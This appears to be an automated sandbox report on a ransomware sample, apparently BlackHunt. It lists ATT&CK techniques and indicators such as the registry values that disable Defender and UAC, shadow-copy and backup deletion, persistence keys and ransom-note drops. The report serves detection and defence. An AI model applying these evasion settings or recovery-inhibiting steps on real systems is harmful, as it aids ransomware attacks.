cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7

Data Destruction

T1485

pid	Process
5516	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

pid	Process
3852	bcdedit.exe
5220	bcdedit.exe

Renames multiple (1476) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
5524	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1815711207-1844170477-3539718864-1000\Control Panel\International\Geo\Nation	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	cmd.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\P:	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
File opened (read-only)	\??\W:	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
File opened (read-only)	\??\G:	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
File opened (read-only)	\??\X:	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
File opened (read-only)	\??\N:	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\I:	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
File opened (read-only)	\??\H:	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
File opened (read-only)	\??\V:	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
File opened (read-only)	\??\E:	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
File opened (read-only)	\??\Y:	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
File opened (read-only)	\??\A:	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
File opened (read-only)	\??\B:	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
File opened (read-only)	\??\M:	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
File opened (read-only)	\??\Q:	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
File opened (read-only)	\??\U:	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
File opened (read-only)	\??\S:	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
File opened (read-only)	\??\Z:	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
File opened (read-only)	\??\K:	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
File opened (read-only)	\??\L:	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
File opened (read-only)	\??\R:	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
File opened (read-only)	\??\T:	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
File opened (read-only)	\??\O:	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
File opened (read-only)	\??\J:	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3	ip-api.com

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\s_filter-default_32.svg	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win8-scrollbar\arrow-left.gif	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\eu-es\#BlackHunt_ReadMe.txt	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
File opened for modification	C:\Program Files\7-Zip\Lang\sk.txt	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\deploy\[email protected]	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ks_IN\LC_MESSAGES\#BlackHunt_ReadMe.txt	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\server_issue.gif	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_auditreport_18.svg	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bn_IN\#BlackHunt_Private.key	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
File created	C:\Program Files\VideoLAN\VLC\locale\pt_PT\LC_MESSAGES\#BlackHunt_Private.key	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\da-dk\#BlackHunt_ReadMe.txt	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\kk\LC_MESSAGES\vlc.mo	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
File created	C:\Program Files\VideoLAN\VLC\locale\te\LC_MESSAGES\#BlackHunt_Private.key	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annotations\Stamps\ENU\#BlackHunt_ReadMe.txt	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\progress_spinner2x.gif	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\include\win32\bridge\AccessBridgePackages.h	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
File created	C:\Program Files\VideoLAN\VLC\locale\co\LC_MESSAGES\#BlackHunt_ReadMe.hta	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\sendforsignature.svg	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\zh-tw\#BlackHunt_Private.key	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
File created	C:\Program Files\VideoLAN\#BlackHunt_Private.key	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\selection-action-plugins\#BlackHunt_Private.key	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\ja-jp\#BlackHunt_ReadMe.txt	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\zh-tw\#BlackHunt_Private.key	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
File opened for modification	C:\Program Files\7-Zip\License.txt	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\security\blacklisted.certs	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Browser\#BlackHunt_ReadMe.txt	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\#BlackHunt_Private.key	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\s_filter_18.svg	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\colorimaging.md	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\#BlackHunt_ReadMe.hta	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\s_reportabuse-default_18.svg	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
File created	C:\Program Files\Java\jdk-1.8\jre\bin\#BlackHunt_ReadMe.hta	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\root\ui-strings.js	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\javafx\glib.md	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\aic_file_icons_retina_thumb_new.png	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\sk-sk\#BlackHunt_Private.key	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\#BlackHunt_ReadMe.hta	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\fonts\#BlackHunt_Private.key	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\themes\dark\acrobat_pdf.svg	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\activity-badge\css\#BlackHunt_Private.key	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\fonts\LucidaSansRegular.ttf	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
File created	C:\Program Files\VideoLAN\VLC\locale\lt\#BlackHunt_Private.key	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
File created	C:\Program Files\VideoLAN\VLC\locale\or\LC_MESSAGES\#BlackHunt_ReadMe.txt	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
File created	C:\Program Files\VideoLAN\VLC\locale\wa\#BlackHunt_ReadMe.txt	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\hi_contrast\core_icons_hiContrast_wob.png	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ne\#BlackHunt_Private.key	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\spu\#BlackHunt_ReadMe.txt	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\apple-touch-icon-72x72-precomposed.png	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\comment.svg	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\cs-cz\ui-strings.js	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\include\jvmticmlr.h	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins3d\prc\#BlackHunt_ReadMe.hta	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_folder-focus_32.svg	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\ro-ro\#BlackHunt_ReadMe.hta	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\en-gb\#BlackHunt_ReadMe.txt	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\javafx-src.zip	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\spu\#BlackHunt_ReadMe.hta	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\nb-no\ui-strings.js	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
File opened for modification	C:\Program Files\PublishShow.3gpp	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\sl-si\#BlackHunt_ReadMe.txt	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\pkcs11wrapper.md	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
File created	C:\Program Files\VideoLAN\VLC\locale\zh_CN\#BlackHunt_ReadMe.txt	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\s_newfolder-default.svg	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\he-il\#BlackHunt_ReadMe.hta	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	vds.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
2944	schtasks.exe

Interacts with shadow copies 2 TTPs 5 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
3392	vssadmin.exe
1192	vssadmin.exe
4888	vssadmin.exe
2204	vssadmin.exe
1260	vssadmin.exe

Modifies registry class 10 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	Conhost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	Conhost.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon	reg.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	4020	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
Token: SeRestorePrivilege	4020	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
Token: SeBackupPrivilege	4020	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
Token: SeTakeOwnershipPrivilege	4020	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
Token: SeAuditPrivilege	4020	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
Token: SeSecurityPrivilege	4020	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
Token: SeIncBasePriorityPrivilege	4020	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe
Token: SeBackupPrivilege	4412	vssvc.exe
Token: SeRestorePrivilege	4412	vssvc.exe
Token: SeAuditPrivilege	4412	vssvc.exe
Token: SeBackupPrivilege	3272	wbengine.exe
Token: SeRestorePrivilege	3272	wbengine.exe
Token: SeSecurityPrivilege	3272	wbengine.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4020 wrote to memory of 4296	4020	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe	85
PID 4020 wrote to memory of 4296	4020	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe	85
PID 4020 wrote to memory of 4696	4020	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe	169
PID 4020 wrote to memory of 4696	4020	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe	169
PID 4020 wrote to memory of 952	4020	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe	89
PID 4020 wrote to memory of 952	4020	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe	89
PID 4020 wrote to memory of 4420	4020	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe	174
PID 4020 wrote to memory of 4420	4020	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe	174
PID 4020 wrote to memory of 3216	4020	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe	91
PID 4020 wrote to memory of 3216	4020	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe	91
PID 4020 wrote to memory of 2576	4020	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe	95
PID 4020 wrote to memory of 2576	4020	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe	95
PID 4020 wrote to memory of 4520	4020	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe	97
PID 4020 wrote to memory of 4520	4020	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe	97
PID 4020 wrote to memory of 4240	4020	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe	101
PID 4020 wrote to memory of 4240	4020	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe	101
PID 952 wrote to memory of 3136	952	cmd.exe	104
PID 952 wrote to memory of 3136	952	cmd.exe	104
PID 4420 wrote to memory of 4496	4420	Conhost.exe	165
PID 4420 wrote to memory of 4496	4420	Conhost.exe	165
PID 4296 wrote to memory of 2892	4296	cmd.exe	99
PID 4296 wrote to memory of 2892	4296	cmd.exe	99
PID 4696 wrote to memory of 2460	4696	reg.exe	163
PID 4696 wrote to memory of 2460	4696	reg.exe	163
PID 2576 wrote to memory of 3180	2576	cmd.exe	108
PID 2576 wrote to memory of 3180	2576	cmd.exe	108
PID 4020 wrote to memory of 3388	4020	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe	105
PID 4020 wrote to memory of 3388	4020	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe	105
PID 3216 wrote to memory of 2908	3216	cmd.exe	164
PID 3216 wrote to memory of 2908	3216	cmd.exe	164
PID 4020 wrote to memory of 3392	4020	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe	190
PID 4020 wrote to memory of 3392	4020	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe	190
PID 4020 wrote to memory of 2980	4020	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe	194
PID 4020 wrote to memory of 2980	4020	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe	194
PID 4520 wrote to memory of 4812	4520	cmd.exe	109
PID 4520 wrote to memory of 4812	4520	cmd.exe	109
PID 4020 wrote to memory of 1788	4020	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe	112
PID 4020 wrote to memory of 1788	4020	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe	112
PID 4020 wrote to memory of 4984	4020	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe	129
PID 4020 wrote to memory of 4984	4020	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe	129
PID 4020 wrote to memory of 2220	4020	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe	196
PID 4020 wrote to memory of 2220	4020	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe	196
PID 3388 wrote to memory of 4044	3388	cmd.exe	127
PID 3388 wrote to memory of 4044	3388	cmd.exe	127
PID 4240 wrote to memory of 4832	4240	cmd.exe	125
PID 4240 wrote to memory of 4832	4240	cmd.exe	125
PID 4020 wrote to memory of 2412	4020	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe	115
PID 4020 wrote to memory of 2412	4020	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe	115
PID 4020 wrote to memory of 3040	4020	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe	118
PID 4020 wrote to memory of 3040	4020	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe	118
PID 4020 wrote to memory of 640	4020	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe	120
PID 4020 wrote to memory of 640	4020	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe	120
PID 4020 wrote to memory of 3164	4020	cf746b82ce6f62483e7b9080bcd329c112ebf38b5ecd02167e6f3af43e0f33d7.exe	121
